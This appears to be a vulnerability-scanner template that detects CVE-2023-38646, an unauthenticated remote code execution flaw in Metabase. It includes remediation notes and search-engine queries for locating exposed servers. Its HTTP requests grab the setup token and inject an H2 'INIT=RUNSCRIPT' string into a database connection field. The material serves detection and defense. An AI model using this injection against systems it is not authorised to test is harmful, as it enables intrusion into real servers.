75 lines
2.6 KiB
YAML
75 lines
2.6 KiB
YAML
id: CVE-2023-38646
|
|
|
|
info:
|
|
name: Metabase < 0.46.6.1 - Remote Code Execution
|
|
author: rootxharsh,iamnoooob,pdresearch
|
|
severity: critical
|
|
description: |
|
|
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
|
|
remediation: |
|
|
Upgrade Metabase to version 0.46.6.1 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://www.metabase.com/blog/security-advisory
|
|
- https://github.com/metabase/metabase/releases/tag/v0.46.6.1
|
|
- https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
|
|
- https://news.ycombinator.com/item?id=36812256
|
|
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
|
|
- https://gist.github.com/testanull/a7beb2777bbf550f3cf533d2794477fe
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-38646
|
|
epss-score: 0.60885
|
|
epss-percentile: 0.97432
|
|
cpe: cpe:2.3:a:metabase:metabase:*:*:*:*:-:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: metabase
|
|
product: metabase
|
|
shodan-query: http.title:"Metabase"
|
|
fofa-query: app="Metabase"
|
|
tags: cve,cve2023,metabase,oss,rce
|
|
variables:
|
|
file: "./plugins/vertica.metabase-driver.jar"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /api/session/properties HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /api/setup/validate HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"token":"{{token}}",
|
|
"details":{
|
|
"details":{
|
|
"subprotocol":"h2",
|
|
"classname":"org.h2.Driver",
|
|
"advanced-options":true,
|
|
"subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\;"
|
|
},
|
|
"name":"{{randstr}}",
|
|
"engine":"postgres"
|
|
}
|
|
}
|
|
|
|
extractors:
|
|
- type: json
|
|
part: body_1
|
|
name: token
|
|
json:
|
|
- .["setup-token"]
|
|
internal: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains_any(body_2, "Syntax error in SQL statement","NoSuchFileException")
|
|
- status_code_2 == 400
|
|
condition: and
|
|
|
|
# digest: 4a0a00473045022037ea4f7024f31e3c504ae093c202ca57ea215c74a55d8a57780ec5c53e21c197022100c2a43832f581d309a5ffb6c531dd6c703c35a94ca2f8a0586afc3b1ca038ebe2:922c64590222798bb761d5b6d8e72950
|